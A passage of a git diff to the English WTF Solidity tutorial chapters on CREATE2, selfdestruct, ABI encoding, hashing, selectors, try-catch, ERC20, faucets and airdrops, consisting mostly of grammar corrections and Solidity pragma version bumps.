[github.com/AmazingAng/WTFSolidit ----- -`CREATE2` opcode helps us to predict the address of smart contract before it is deployed on Ethereum network, and `Uniswap` created `Pair` contract with `CREATE2` instead of `CREATE`. +`CREATE2` opcode helps us to predict the address of the smart contract before it is deployed on the Ethereum network, and `Uniswap` created `Pair` contract with `CREATE2` instead of `CREATE`. In this chapter, I will introduce the use of `CREATE2`. -## How does `CREATE` calculate address +## How does `CREATE` calculate the address Smart contracts can be created by other contracts and regular accounts using the `CREATE` opcode. -In both cases, the address of new contract is calculated in the same way: the hash of creator's address (usually wallet address which will deploy or contract address) and the nonce(the total number of transactions sent from this address or, for contract account, the total number of contracts created. Every time a contract is created, the nonce will plus one). +In both cases, the address of the new contract is calculated in the same way: the hash of the creator's address (usually the wallet address which will deploy or the contract address) and the nonce(the total number of transactions sent from this address or, for contract account, the total number of contracts created. Every time a contract is created, the nonce will plus one). ``` new address = hash(creator's address, nonce) ``` creator's address won't change, but the nonce may change over time, so it's -difficult to predict the address of contract created with CREATE. +difficult to predict the address of the contract created with CREATE. ## How does `CREATE2` calculate address -The purpose of `CREATE2` is to make contract address independent of future events. No matter what happens on blockchain in the future, you can deploy the contract to a pre-calculated address. +The purpose of `CREATE2` is to make contract addresses independent of future events. No matter what happens on blockchain in the future, you can deploy the contract to a pre-calculated address. -The address of contract created with `CREATE2` is determined by four parts: +The address of the contract created with `CREATE2` is determined by four parts: - `0xFF`: a constant to avoid conflict with `CREATE` - creator's address -- salt: a value given by creator -- The bytecode of contract to be deployed +- salt: a value given by the creator +- The bytecode of the contract to be deployed ``` new address = hash("0xFF", creator's address, salt, bytecode) ``` -`CREATE2` ensures that if creator deploys a given contract bytecode with `CREATE2` and given `salt`, it will be stored at `new address`. +`CREATE2` ensures that if the creator deploys a given contract bytecode with `CREATE2` and is given `salt`, it will be stored at `new address`. ## How to use `CREATE2` -`CREATE2` is used in the same way as `Create`. It also `new` a new contract and passes in parameters which is needed for the new contract constructor, except with an extra `salt` parameter. +`CREATE2` is used in the same way as `Create`. It also creates a `new` contract and passes in parameters which are needed for the new contract constructor, except with an extra `salt` parameter. ``` Contract x = new Contract{salt: _salt, value: _value}(params) ``` -`Contract` is the name of contract to be created, `x` is the contract object (address), and `_salt` is the specified salt; If the constructor is `payable`, a number of(`_value`) `ETH` can be transferred to the contract at creation, and `params` is the parameter of new contract constructor. +`Contract` is the name of the contract to be created, `x` is the contract object (address), and `_salt` is the specified salt; If the constructor is `payable`, a number of(`_value`) `ETH` can be transferred to the contract at creation, and `params` is the parameter of new contract constructor. ## Minimalist Uniswap2 @@ -80,7 +80,7 @@ contract Pair{ ``` `Pair` contract is simple and contains three state variables: `factory`, `token0` and `token1`. -Constructor assigns the `factory` to factory contract address at deployment time. `initialize` function is called once by factory contract when the `Pair` contract is created, updating `token0` and `token1` to the addresses of two tokens in the token pair. +The constructor assigns the `factory` to the factory contract address at deployment time. `initialize` function is called once by the factory contract when the `Pair` contract is created, updating `token0` and `token1` to the addresses of two tokens in the token pair. ### `PairFactory2` ```solidity @@ -104,18 +104,18 @@ contract PairFactory2{ getPair[tokenB][tokenA] = pairAddr; } ``` -Factory contract(`PairFactory2`) has two state variables. `getPair` is a map of two token addresses to the token pair address. It is convenient to find the token pair address according to tokens. `allPairs` is an array of token pair address, storing all token pair addresses. +Factory contract(`PairFactory2`) has two state variables. `getPair` is a map of two token addresses to the token pair address. It is convenient to find the token pair address according to tokens. `allPairs` is an array of token pair addresses, storing all token pair addresses. `PairFactory2` contract has only one `createPair2` function, which uses `CREATE2` to create a new `Pair` contract based on the two token addresses `tokenA` and `tokenB` entered. Inside ```solidity Pair pair = new Pair{salt: salt}(); ``` -It's the above code that uses `CREATE2` to create contract, which is very simple, and `salt` is the hash of `token1` and `token2`. +It's the above code that uses `CREATE2` to create a contract, which is very simple, and `salt` is the hash of `token1` and `token2`. ```solidity bytes32 salt = keccak256(abi.encodePacked(token0, token1)); ``` -### Calculate `Pair` address beforehand +### Calculate the `Pair` address beforehand ```solidity // Calculate Pair contract address beforehand function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ @@ -132,9 +132,9 @@ It's the above code that uses `CREATE2` to create contract, which is very simple ))))); } ``` -We write a `calculateAddr` function to precompute the address of `Pair` that `tokenA` and `tokenB` will generate. With it, we can verify whether the address we calculated in advance is the same as actual address. +We write a `calculateAddr` function to precompute the address of `Pair` that `tokenA` and `tokenB` will generate. With it, we can verify whether the address we calculated in advance is the same as the actual address. -You can deploy `PairFactory2` contract and call `createPair2` with the following two addresses as parameters to see what is the address of token pair created and whether it is the same as the precomputed address. +To verify whether the address of the token pair created matches the precomputed address, you can deploy the `PairFactory2` contract and call `createPair2` with the following two addresses as parameters. Then, observe the resulting address of the token pair created. ``` WBNB address: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 @@ -142,7 +142,7 @@ PEOPLE address on BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c ``` -#### If there are parameters in deployment contract constructor +#### If there are parameters in the deployment contract constructor For example, when `create2` contract: > Pair pair = new Pair{salt: salt}(address(this)); @@ -163,13 +163,13 @@ predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( ### Verify on remix 1. First, the address hash of `WBNB` and `PEOPLE` is used as `salt` to calculate the address of `Pair` contract 2. Calling `PairFactory2.createPair2` and the address of `WBNB` and `PEOPLE` are passed in as parameters to get the address of `pair` contract created. -3. Compare contract address. +3. Compare the contract address. ![create2_remix_test.png](./img/25-1_en.jpg) ## Application scenario of `CREATE2` 1. The exchange reserves addresses for new users to create wallet contracts. -2. `Factory` contract driven by `CREATE2`. The creation of trading pairs in `UniswapV2` is done by calling `create2` in `Factory`. The advantage is: It can get a certain `pair` address, so that the Router can calculate `pair` address through `(tokenA, tokenB)`, no longer need to perform a `Factory.getPair(tokenA, tokenB)` cross-contract call. +2. `Factory` contract driven by `CREATE2`. The creation of trading pairs in `UniswapV2` is done by calling `create2` in `Factory`. The advantage is that it can get a certain `pair` address so that the Router can calculate `pair` address through `(tokenA, tokenB)`, and no longer need to perform a `Factory.getPair(tokenA, tokenB)` cross-contract call. ## Summary -In this chapter, we introduced the principle of `CREATE2` opcode and how to use it. Besides, we used it to create a minimalist version of `Uniswap` and calculate token pair contract address in advance. `CREATE2` helps us to determine contract address before deploying the contract, which is basis for some `layer2` projects. +In this chapter, we introduced the principle of `CREATE2` opcode and how to use it. Besides, we used it to create a minimalist version of `Uniswap` and calculate the token pair contract address in advance. `CREATE2` helps us to determine the contract address before deploying the contract, which is the basis for some `layer2` projects. diff --git a/Languages/en/26_DeleteContract_en/DeleteContract.sol b/Languages/en/26_DeleteContract_en/DeleteContract.sol index f0483f30a..740d01f48 100644 --- a/Languages/en/26_DeleteContract_en/DeleteContract.sol +++ b/Languages/en/26_DeleteContract_en/DeleteContract.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // selfdestruct: Delete the contract and forcibly transfer the remaining ETH of the contract to the designated account diff --git a/Languages/en/26_DeleteContract_en/readme.md b/Languages/en/26_DeleteContract_en/readme.md index 0503fdd8d..251231021 100644 --- a/Languages/en/26_DeleteContract_en/readme.md +++ b/Languages/en/26_DeleteContract_en/readme.md @@ -20,7 +20,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ## `selfdestruct` -The `selfdestruct` operation is the only way to delete a smart contract and the remaining Ether stored at that address is sent to a designated target. The `selfdestruct` operation is designed to deal with the extreme case of contract errors. Originally the opcode was named `suicide` but the Ethereum community decided to rename it as `selfdestruct` because suicide is a heavy subject and we should make every effort possible to not affect the programmer who suffer from depression. +The `selfdestruct` operation is the only way to delete a smart contract and the remaining Ether stored at that address is sent to a designated target. The `selfdestruct` operation is designed to deal with the extreme case of contract errors. Originally the opcode was named `suicide` but the Ethereum community decided to rename it as `selfdestruct` because suicide is a heavy subject and we should make every effort possible not to be insensitive to programmers who suffer from depression. ### How to use `selfdestruct` @@ -54,25 +54,25 @@ contract DeleteContract { } ``` -In `DeleteContract`,we define a public state variable named `value` and two functions:`getBalance()` which is used to get ETH balance of the contract,`deleteContract()` which is used to delete the contract and transfer the remaining ETH to the sender of message. +In `DeleteContract`, we define a public state variable named `value` and two functions:`getBalance()` which is used to get the ETH balance of the contract,`deleteContract()` which is used to delete the contract and transfer the remaining ETH to the sender of the message. -After the contract is deployed,we send 1 ETH to the contract. The result should be 1 ETH while we call `getBalance()` and the `value` should be 10. +After the contract is deployed, we send 1 ETH to the contract. The result should be 1 ETH while we call `getBalance()` and the `value` should be 10. Then we call `deleteContract().` The contract will self-destruct and all variables will be cleared. At this time, `value` is equal to `0` which is the default value, and `getBalance()` also returns an empty value. ### Attention 1. When providing the contract destruction function externally, it is best to declare the function to only be called by the contract owner such as using the function modifier `onlyOwner`. -2. When the contract is destructed, the interaction with the smart contract can also succeed and return `0` . -3. Security and trust issues often arise when there is a `selfdestruct` function in a contract. The function of `selfdestruct` in the contract opens up attack vectors for attackers. For example, using `selfdestruct` to frequently transfer tokens to a contract to attack, this will greatly save the cost of GAS, although few people do this. In addition, this `selfdestruct` feature reduces users' confidence in the contract. +2. When the contract is destroyed, the interaction with the smart contract can also succeed and return `0`. +3. Security and trust issues often arise when a contract includes a `selfdestruct` function. This feature opens up attack vectors for potential attackers. For instance, attackers might exploit `selfdestruct` to frequently transfer tokens to a contract, significantly reducing the cost of gas for attacking. Although this tactic is not commonly employed, it remains a concern. Furthermore, the presence of the `selfdestruct` feature can diminish users' confidence in the contract. ### Example from Remix -1. Deploy the contract and send 1 ETH to the contract. Check the status of contract. +1. Deploy the contract and send 1 ETH to the contract. Check the status of the contract. ![deployContract.png](./img/26-2.png) -2. Delete the contract and check the status of contract. +2. Delete the contract and check the status of the contract. ![deleteContract.png](./img/26-1.png) diff --git a/Languages/en/27_ABIEncode_en/ABIEncode.sol b/Languages/en/27_ABIEncode_en/ABIEncode.sol index e26754b07..273ffb362 100644 --- a/Languages/en/27_ABIEncode_en/ABIEncode.sol +++ b/Languages/en/27_ABIEncode_en/ABIEncode.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ABIEncode{ uint x = 10; diff --git a/Languages/en/27_ABIEncode_en/readme.md b/Languages/en/27_ABIEncode_en/readme.md index 78228571c..f5f75d9c3 100644 --- a/Languages/en/27_ABIEncode_en/readme.md +++ b/Languages/en/27_ABIEncode_en/readme.md @@ -1,5 +1,5 @@ --- -title: 27. ABI编码解码 +title: 27. ABI Encoding and Decoding tags: - solidity - advanced @@ -36,7 +36,7 @@ We will encode four variables, their types are `uint256` (alias `uint`), `addres ``` ### `abi.encode` -Use [ABI rules](https://learnblockchain.cn/docs/solidity/abi-spec.html) to encode the given parameters. `ABI` is designed to interact with smart contract by filling each parameter with 32 bytes data and splicing them together. If you want to interact with contracts, you should use `abi.encode`. +Use [ABI rules](https://learnblockchain.cn/docs/solidity/abi-spec.html) to encode the given parameters. `ABI` is designed to interact with smart contracts by filling each parameter with 32-byte data and splicing them together. If you want to interact with contracts, you should use `abi.encode`. ```solidity function encode() public view returns(bytes memory result) { result = abi.encode(x, addr, name, array); @@ -54,17 +54,17 @@ Encode given parameters according to their minimum required space. It is similar The result of encoding is`0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`. Because `abi.encodePacked` compacts encoding, the length of result is much shorter than `abi.encode`. ### `abi.encodeWithSignature` -Similar with `abi.encode` function, but the first parameter is `function signatures`, such as `"foo(uint256, address, string, uint256[2])"`. It can be used when calling other contracts. +Similar to `abi.encode` function, the first parameter is `function signatures`, such as `"foo(uint256, address, string, uint256[2])"`. It can be used when calling other contracts. ```solidity function encodeWithSignature() public view returns(bytes memory result) { result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); } ``` The result of encoding is`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. This is equivalent to adding 4 bytes `function selector` to the front of result of `abi.encode`[^note]. -[^note]: Function selectors identify functions by signature processing(Keccak–Sha3) using function names and arguments, which can be used for function call between different contracts. +[^note]: Function selectors identify functions by signature processing(Keccak–Sha3) using function names and arguments, which can be used for function calls between different contracts. ### `abi.encodeWithSelector` -Similar to `abi.encodeWithSignature`, except that first argument is a `function selector` which is the first 4 bytes of `function signature` Keccak hash. +Similar to `abi.encodeWithSignature`, except that the first argument is a `function selector`, the first 4 bytes of `function signature` Keccak hash. ```solidity function encodeWithSelector() public view returns(bytes memory result) { @@ -88,17 +88,17 @@ We input binary encoding of `abi.encode` into `decode`, which will decode the or ![](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) ## 在remix上验证 -- deploy contract to check the encoding result of `abi.encode` +- deploy the contract to check the encoding result of `abi.encode` ![](./img/27-1_en.png) -- compare and verify the similarities and differences of four encoding functions +- compare and verify the similarities and differences of the four encoding functions ![](./img/27-2_en.png) - check the decoding result of `abi.decode` ![](./img/27-3_en.png) ## ABI的使用场景 -1. In contract development, ABI is often paired with call to implement low-level call to contract. +1. In contract development, ABI is often paired with a call to implement a low-level call to contract. ```solidity bytes4 selector = contract.getValue.selector; @@ -108,7 +108,7 @@ We input binary encoding of `abi.encode` into `decode`, which will decode the or return abi.decode(returnedData, (uint256)); ``` -2. ABI is often used in ethers.js to implement contract import and function call. +2. ABI is often used in ethers.js to implement contract import and function calls. ```solidity const wavePortalContract = new ethers.Contract(contractAddress, contractABI, signer); /* @@ -116,14 +116,14 @@ We input binary encoding of `abi.encode` into `decode`, which will decode the or */ const waves = await wavePortalContract.getAllWaves(); ``` -3. After decompiling a non-open source contract, some functions cannot find function signature but can be called through ABI. -- 0x533ba33a() is a function which show after decompiled, we can only get function encoded results, and can't find function signature. +3. After decompiling a non-open source contract, some functions cannot find function signatures but can be called through ABI. +- 0x533ba33a() is a function which shows after decompiling, we can only get function-encoded results, and can't find the function signature. ![](./img/27-4_en.png) ![](./img/27-5_en.png) - in this case we can't call through constructing an interface or contract ![](./img/27-6_en.png) -In this case, we can call through ABI function selector. +In this case, we can call through the ABI function selector. ```solidity bytes memory data = abi.encodeWithSelector(bytes4(0x533ba33a)); diff --git a/Languages/en/28_Hash_en/Hash.sol b/Languages/en/28_Hash_en/Hash.sol index 128e982eb..06a565e8c 100644 --- a/Languages/en/28_Hash_en/Hash.sol +++ b/Languages/en/28_Hash_en/Hash.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Hash { bytes32 _msg = keccak256(abi.encodePacked("0xAA")); diff --git a/Languages/en/28_Hash_en/readme.md b/Languages/en/28_Hash_en/readme.md index 85e04f4f3..19777b419 100644 --- a/Languages/en/28_Hash_en/readme.md +++ b/Languages/en/28_Hash_en/readme.md @@ -18,16 +18,16 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit --- -Hash function is a cryptographic concept. It can convert a message of arbitrary length into a fixed-length value. This value is also called hash. In this lecture, we briefly introduce the hash function and its application in solidity. +The hash function is a cryptographic concept. It can convert a message of arbitrary length into a fixed-length value. This value is also called the hash. In this lecture, we briefly introduce the hash function and its application in solidity. ## Properties of Hash A good hash function should have the following properties: - One-way: The forward operation from the input message to its hash is simple and uniquely determined, while the reverse is very difficult and can only be enumerated by brute force. -- Sensitivity: A little change in the input message changes its hash a lot. +- Sensitivity: A little change in the input message greatly changes the hash. - Efficiency: The operation from the input message to the hash is efficient. -- Uniformity: The probability of each hash value being taken should be basically equal. +- Uniformity: The probability of each hash value being taken should be equal. - Collision resistance: - Weak collision resistance: given a message `x`, it is difficult to find another message `x` such that `hash(x) = hash(x')`. - Strong collision resistance: finding arbitrary `x` and `x` such that `hash(x) = hash(x')` is difficult. @@ -51,18 +51,18 @@ hash = keccak256(data); Here's an interesting thing: 1. sha3 is standardized by keccak. Keccak and SHA3 are synonymous on many occasions. But when SHA3 was finally standardized in August 2015, NIST adjusted the padding algorithm. - So SHA3 is different from the result calculated by keccak. We should be paid attention to this point in actual development. -2. sha3 was still being standardized when Ethereum was developing so Ethereum used keccak. In other words, SHA3 in Ethereum and Solidity smart contract code refers to Keccak256, not standard NIST-SHA3. In order to avoid confusion, it is clearest that we write Keccak256 directly in the contract code. + So SHA3 is different from the result calculated by keccak. We should pay attention to this point in actual development. +2. sha3 was still being standardized when Ethereum was developing so Ethereum used keccak. In other words, SHA3 in Ethereum and Solidity smart contract code refers to Keccak256, not standard NIST-SHA3. To avoid confusion, it is clear that we write Keccak256 directly in the contract code. -### Generate unique identifier of the data +### Generate a unique identifier of the data -We can use `keccak256` to generate a unique identifier for data. For example we have several different types of data: `uint`, `string`, `address`. We can first use the `abi.encodePacked` method to pack and encode them, and then use `keccak256` to generate a unique identifier. +We can use `keccak256` to generate a unique identifier for data. For example, we have several different types of data: `uint`, `string`, `address`. We can first use the `abi.encodePacked` method to pack and encode them, and then use `keccak256` to generate a unique identifier. ### Weak collision resistance We use `keccak256` to show the weak collision resistance that given a message `x`, it is difficult to find another message `x' such that `hash(x) = hash(x')`. -We define a message named `0xAA` and try to find another message which's hash value is equal to the message `0xAA`. +We define a message named `0xAA` and try to find another message whose hash value is equal to the message `0xAA`. ```solidity // Weak collision resistance @@ -79,7 +79,7 @@ You can try it 10 times and see if you can get lucky. We use `keccak256` to show the strong collision resistance that finding arbitrarily different `x` and `x'` such that `hash(x) = hash(x')` is difficult. -We define a function called `strong` that receive two parameters of string type named `string1` and `string2`. Then check if their hashed are the same. +We define a function called `strong` that receives two parameters of string type named `string1` and `string2`. Then check if their hashed are the same. ```solidity // Strong collision resistance diff --git a/Languages/en/29_Selector_en/Selector.sol b/Languages/en/29_Selector_en/Selector.sol index 72e89f7b7..9be0c5e3f 100644 --- a/Languages/en/29_Selector_en/Selector.sol +++ b/Languages/en/29_Selector_en/Selector.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Selector { // event returns msg.data diff --git a/Languages/en/29_Selector_en/readme.md b/Languages/en/29_Selector_en/readme.md index a72beb46f..dc8e7af11 100644 --- a/Languages/en/29_Selector_en/readme.md +++ b/Languages/en/29_Selector_en/readme.md @@ -19,7 +19,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ## `selector` -When we call a smart contract, we essentially send a `calldata` to the target contract. After sending a transaction in remix, we can see in the details that `input` is the `calldata` of this transaction. +When we call a smart contract, we essentially send a `calldata` to the target contract. After sending a transaction in the remix, we can see in the details that `input` is the `calldata` of this transaction. ![tx input in remix](./img/29-1.png) @@ -62,7 +62,7 @@ Actually, this `calldata` is to tell the smart contract which function I want t The `method id` is defined as the first 4 bytes after the `Keccak` hash of the `function signature`. The function is called when the `selector` matches the `method id`. -Then what is the `function signature` ? In section 21, we introduced function signature. The function signature is `"function_name(comma-separated parameter types)"`. For example, the function signature of `mint` in the code above is `"mint(address)"`. In the same smart contract, different functions have different function signatures, so we can determine which function to call by the function signature. +Then what is the `function signature`? In section 21, we introduced function signature. The function signature is `"function_name(comma-separated parameter types)"`. For example, the function signature of `mint` in the code above is `"mint(address)"`. In the same smart contract, different functions have different function signatures, so we can determine which function to call by the function signature. Please note that `uint` and `int` are written as `uint256` and `int256` in the function signature. @@ -95,4 +95,4 @@ We can see in the log that the `mint` function was successfully called and the ` ## Summary -In this section, we introduce what is `selector` and its relationship with `msg.data`, `function signature`, and how to use it to call the target function. +In this section, we introduce the `selector` and its relationship with `msg.data`, `function signature`, and how to use it to call the target function. diff --git a/Languages/en/30_TryCatch_en/TryCatch.sol b/Languages/en/30_TryCatch_en/TryCatch.sol index 9764f4cf1..a508789b5 100644 --- a/Languages/en/30_TryCatch_en/TryCatch.sol +++ b/Languages/en/30_TryCatch_en/TryCatch.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OnlyEven{ constructor(uint a){ diff --git a/Languages/en/30_TryCatch_en/readme.md b/Languages/en/30_TryCatch_en/readme.md index c31669f63..25dc06fe9 100644 --- a/Languages/en/30_TryCatch_en/readme.md +++ b/Languages/en/30_TryCatch_en/readme.md @@ -21,7 +21,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit `try-catch` is a standard way of handling exceptions that is almost ubiquitous in modern programming languages. Besides, it's added to `solidity`0.6. -In this chapter, we will introduce you how to use `try-catch` to handle exceptions in smart contracts. +In this chapter, we will introduce how to use `try-catch` to handle exceptions in smart contracts. ## `try-catch` In `solidity`, `try-catch` can only be used for `external` function or call `constructor` (considered `external` function) when creating contracts. The basic syntax is as follows: @@ -32,11 +32,11 @@ In `solidity`, `try-catch` can only be used for `external` function or call `con // if call fails, run some codes } ``` -`externalContract.f()` is function call of an external contract, `try` module runs if call succeeds, while `catch` module runs if call fails. +`externalContract.f()` is a function call of an external contract, `try` module runs if the call succeeds, while `catch` module runs if the call fails. -You can also use `this.f()` instead of `externalContract.f()`. `this.f()` is also considered as an external call, but can't be used in constructor because the contract has not been created at that time. +You can also use `this.f()` instead of `externalContract.f()`. `this.f()` is also considered as an external call, but can't be used in the constructor because the contract has not been created at that time. -If the called function has a return value, then `returns(returnType val)` must be declared after `try`, and the returned variable can be used in `try` module. In the case of contract creation, the returned value is newly created contract variable. +If the called function has a return value, then `returns(returnType val)` must be declared after `try`, and the returned variable can be used in `try` module. In the case of contract creation, the returned value is a newly created contract variable. ```solidity try externalContract.f() returns(returnType val){ // if call succeeds, run some codes @@ -100,9 +100,9 @@ First, define some events and state variables in `TryCatch` contract: even = new OnlyEven(2); } ``` -`SuccessEvent` is the event that will be released when call succeeds, while `CatchEvent` and `CatchByte` are the events that will be released when an exception is thrown, corresponding to `require/revert` and `assert` exceptions respectively. `even` is a state variable of `OnlyEven` contract type. +`SuccessEvent` is the event that will be released when the call succeeds, while `CatchEvent` and `CatchByte` are the events that will be released when an exception is thrown, corresponding to `require/revert` and `assert` exceptions respectively. `even` is a state variable of `OnlyEven` contract type. -Then we use `try-catch` in `execute` function to handle exception in the call to external function `onlyEven`: +Then we use `try-catch` in `execute` function to handle exceptions in the call to the external function `onlyEven`: ```solidity // use try-catch in external call @@ -123,7 +123,7 @@ When running `execute(0)`, because `0` is even, satisfy `require(b % 2 == 0, "Up ![](./img/30-1_en.jpg) -When running `execute(1)`, because `1` is odd, doesn't satisfy `require(b % 2 == 0, "Ups! Reverting");`, so exception is thrown. The call fails and `CatchEvent` is released. +When running `execute(1)`, because `1` is odd, doesn't satisfy `require(b % 2 == 0, "Ups! Reverting");`, so the exception is thrown. The call fails and `CatchEvent` is released. ![](./img/30-2_en.jpg) @@ -161,7 +161,7 @@ When running `executeNew(1)`, because `1` doesn't satisfy `assert(a != 1);`, the ![](./img/30-4_en.jpg) -When running `executeNew(2)`, because `2` satisfy `require(a != 0, "invalid number");` and `assert(a != 1);`, the call succeeds and `SuccessEvent` is released. +When running `executeNew(2)`, because `2` satisfies `require(a != 0, "invalid number");` and `assert(a != 1);`, the call succeeds and `SuccessEvent` is released. ![](./img/30-5_en.jpg) diff --git a/Languages/en/31_ERC20_en/ERC20.sol b/Languages/en/31_ERC20_en/ERC20.sol index f3c707351..92459aa89 100644 --- a/Languages/en/31_ERC20_en/ERC20.sol +++ b/Languages/en/31_ERC20_en/ERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; diff --git a/Languages/en/31_ERC20_en/IERC20.sol b/Languages/en/31_ERC20_en/IERC20.sol index bca23d11c..76efbf286 100644 --- a/Languages/en/31_ERC20_en/IERC20.sol +++ b/Languages/en/31_ERC20_en/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 interface contract. diff --git a/Languages/en/31_ERC20_en/readme.md b/Languages/en/31_ERC20_en/readme.md index 33c25d53a..af5c2bd95 100644 --- a/Languages/en/31_ERC20_en/readme.md +++ b/Languages/en/31_ERC20_en/readme.md @@ -20,7 +20,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- -In this lecture, we will introduce the ERC20 token standard on Ethereum and issue our own test tokens. +In this lecture, we will introduce the ERC20 token standard on Ethereum and issue our test tokens. ## ERC20 @@ -33,7 +33,7 @@ ERC20 is a token standard on Ethereum, which originated from the `EIP20` propose - Token Information (optional): name, symbol, decimal ## IERC20 -`IERC20` is the interface contract of the `ERC20` token standard, which specifies the functions and events that `ERC20` tokens need to implement. The reason for defining an interface is that with the standard, there are universal function names, input and output parameters for all `ERC20` tokens. In the interface functions, only the function name, input parameters, and output parameters need to be defined, and it does not matter how the function is implemented internally. Therefore, the functions are divided into two contents: internal implementation and external interface, focusing on implementation and agreement of shared data between interfaces. This is why we need two files `ERC20.sol` and `IERC20.sol` to implement a contract. +`IERC20` is the interface contract of the `ERC20` token standard, which specifies the functions and events that `ERC20` tokens need to implement. The reason for defining an interface is that with the standard, there are universal function names and input and output parameters for all `ERC20` tokens. In the interface functions, only the function name, input parameters, and output parameters need to be defined, and it does not matter how the function is implemented internally. Therefore, the functions are divided into two contents: internal implementation and external interface, focusing on the implementation and agreement of shared data between interfaces. This is why we need two files `ERC20.sol` and `IERC20.sol` to implement a contract. ### Event @@ -244,4 +244,4 @@ The account information is shown on the left like below image, and the details o ## Summary -In this lesson, we learned about the `ERC20` standard and its implementation on the Ethereum network, and issued our own test token. The `ERC20` token standard proposed at the end of 2015 greatly lowered the threshold for issuing tokens on the Ethereum network and ushered in the era of `ICO`. When investing, carefully read the project's token contract to effectively avoid risks and increase investment success rate. \ No newline at end of file +In this lesson, we learned about the `ERC20` standard and its implementation on the Ethereum network, and issued our own test token. The `ERC20` token standard proposed at the end of 2015 greatly lowered the threshold for issuing tokens on the Ethereum network and ushered in the era of `ICO`. When investing, carefully read the project's token contract to effectively avoid risks and increase investment success rate. diff --git a/Languages/en/32_Faucet_en/Faucet.sol b/Languages/en/32_Faucet_en/Faucet.sol index 800487d99..12b4be3a3 100644 --- a/Languages/en/32_Faucet_en/Faucet.sol +++ b/Languages/en/32_Faucet_en/Faucet.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; //import IERC20 diff --git a/Languages/en/32_Faucet_en/IERC20.sol b/Languages/en/32_Faucet_en/IERC20.sol index bca23d11c..76efbf286 100644 --- a/Languages/en/32_Faucet_en/IERC20.sol +++ b/Languages/en/32_Faucet_en/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 interface contract. diff --git a/Languages/en/32_Faucet_en/readme.md b/Languages/en/32_Faucet_en/readme.md index 55d47f640..f243c6a23 100644 --- a/Languages/en/32_Faucet_en/readme.md +++ b/Languages/en/32_Faucet_en/readme.md @@ -36,7 +36,7 @@ Here, we will implement a simplified version of an `ERC20` faucet. The logic is We define `3` state variables in the faucet contract: -- `amountAllowed` sets the amount of tokens that can be claimed per request (default value is `100`, not 100 tokens as tokens may have decimal places). +- `amountAllowed` sets the number of tokens that can be claimed per request (default value is `100`, not 100 tokens as tokens may have decimal places). - `tokenContract` stores the address of the `ERC20` token contract. - `requestedAddress` keeps track of the addresses that have already claimed tokens. @@ -103,4 +103,4 @@ function requestTokens() external { ## Conclusion -In this lecture, we introduced the history of token faucets and the `ERC20` faucet contract. Where do you think the next BTC faucet will be? \ No newline at end of file +In this lecture, we introduced the history of token faucets and the `ERC20` faucet contract. Where do you think the next BTC faucet will be? diff --git a/Languages/en/33_Airdrop_en/Airdrop.sol b/Languages/en/33_Airdrop_en/Airdrop.sol index 53823f5b9..c8eb32323 100644 --- a/Languages/en/33_Airdrop_en/Airdrop.sol +++ b/Languages/en/33_Airdrop_en/Airdrop.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC20.sol"; //import IERC20 diff --git a/Languages/en/33_Airdrop_en/IERC20.sol b/Languages/en/33_Airdrop_en/IERC20.sol index bca23d11c..76efbf286 100644 --- a/Languages/en/33_Airdrop_en/IERC20.sol +++ b/Languages/en/33_Airdrop_en/IERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev ERC20 interface contract. diff --git a/Languages/en/33_Airdrop_en/readme.md b/Languages/en/33_Airdrop_en/readme.md index 2aa058420..44272051a 100644 --- a/Languages/en/33_Airdrop_en/readme.md +++ b/Languages/en/33_Airdrop_en/readme.md @@ -48,7 +48,7 @@ The logic of the airdrop contract is simple: by using a loop, a single transacti - `_addresses`: Array of user addresses receiving the airdrop (`address[]` type) - `_amounts`: Array of airdrop amounts that correspond to the quantity of each address in `_addresses` (`uint[]` type) - This function contains `2` checks: The first `require` checks if the length of 